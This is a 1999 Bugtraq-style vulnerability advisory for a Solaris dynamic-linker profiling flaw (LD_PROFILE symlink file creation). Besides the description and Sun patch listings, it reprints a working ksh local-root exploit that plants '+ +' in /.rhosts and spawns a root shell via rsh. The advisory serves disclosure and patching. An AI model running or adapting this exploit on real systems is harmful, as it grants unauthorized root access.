Solaris Profiling File Creation Vulnerability
BID:659
Info
Solaris Profiling File Creation Vulnerability
| Bugtraq ID: | 659 |
| Class: | Unknown |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Sep 22 1999 12:00AM |
| Updated: | Sep 22 1999 12:00AM |
| Credit: | This vulnerability was found by Steve Mynott <[email protected]>. |
| Vulnerable: |
Sun Solaris 2.5.1 _x86 Sun Solaris 2.5.1 Sun Solaris 2.6_x86 Sun Solaris 2.6 Sun Solaris 2.5_x86 Sun Solaris 2.5 Sun Solaris 2.4_x86 Sun Solaris 2.4 |
| Not Vulnerable: |
Sun Solaris 7.0_x86 Sun Solaris 7.0 |
Discussion
Solaris Profiling File Creation Vulnerability
A vulnerability in the dynamic linkers while profiling a shared object allows local users to create arbitrary files in the system. It canno't be used to overwrite existing files.
If the LD_PROFILE environment variable is defined it instructs the dynamic linker to profile the shared object defined by it. When profiling is enabled, a profiling buffer file is created and mapped. The name of the buffer file is the name of the shared object being profiled with a .profile extension. By default this buffer is placed under /var/tmp.
The dynamic linker created the buffer file insecurely in the case where it runs in the context of a setuid application. It follows symbolic links while creating the file.
This is Sun BugID 4150646. This is the same bug as Sun BugID 1241843. The new instance was introduced after an extensive rewrite of the dynamic linker. The problem was originally fixed in Solaris 2.5.1 and back patched. It was reintroduced in 2.6 and back patched into 2.5.1.
A vulnerability in the dynamic linkers while profiling a shared object allows local users to create arbitrary files in the system. It canno't be used to overwrite existing files.
If the LD_PROFILE environment variable is defined it instructs the dynamic linker to profile the shared object defined by it. When profiling is enabled, a profiling buffer file is created and mapped. The name of the buffer file is the name of the shared object being profiled with a .profile extension. By default this buffer is placed under /var/tmp.
The dynamic linker created the buffer file insecurely in the case where it runs in the context of a setuid application. It follows symbolic links while creating the file.
This is Sun BugID 4150646. This is the same bug as Sun BugID 1241843. The new instance was introduced after an extensive rewrite of the dynamic linker. The problem was originally fixed in Solaris 2.5.1 and back patched. It was reintroduced in 2.6 and back patched into 2.5.1.
Exploit / POC
Solaris Profiling File Creation Vulnerability
#! /bin/ksh
# LD_PROFILE local root exploit for solaris
# [email protected] 19990922
umask 000
ln -s /.rhosts /var/tmp/ps.profile
export LD_PROFILE=/usr/bin/ps
/usr/bin/ps
echo + + > /.rhosts
rsh -l root localhost csh -i
#! /bin/ksh
# LD_PROFILE local root exploit for solaris
# [email protected] 19990922
umask 000
ln -s /.rhosts /var/tmp/ps.profile
export LD_PROFILE=/usr/bin/ps
/usr/bin/ps
echo + + > /.rhosts
rsh -l root localhost csh -i
Solution / Fix
Solaris Profiling File Creation Vulnerability
Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com
Sun Solaris 2.6
Sun Solaris 2.4_x86
Sun Solaris 2.5
Sun Solaris 2.5_x86
Sun Solaris 2.4
Sun Solaris 2.5.1 _x86
Sun Solaris 2.5.1
Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com
Sun Solaris 2.6
-
Sun 105490-07
sparc
http://sunsolve.sun.com/search/document.do?assetkey=1-21-105490-07-1 -
Sun 105491-05
sparc
http://sunsolve.sun.com/search/document.do?assetkey=1-21-105491-05-1
Sun Solaris 2.4_x86
-
Sun 102304-05
x86
http://sunsolve.sun.com/search/document.do?assetkey=1-21-102304-05-1
Sun Solaris 2.5
Sun Solaris 2.5_x86
Sun Solaris 2.4
Sun Solaris 2.5.1 _x86
-
Sun 103628-10
x86
http://sunsolve.sun.com/search/document.do?assetkey=1-21-103628-10-1
Sun Solaris 2.5.1
-
Sun 103627-11
sparc
http://sunsolve.sun.com/search/document.do?assetkey=1-21-103627-11-1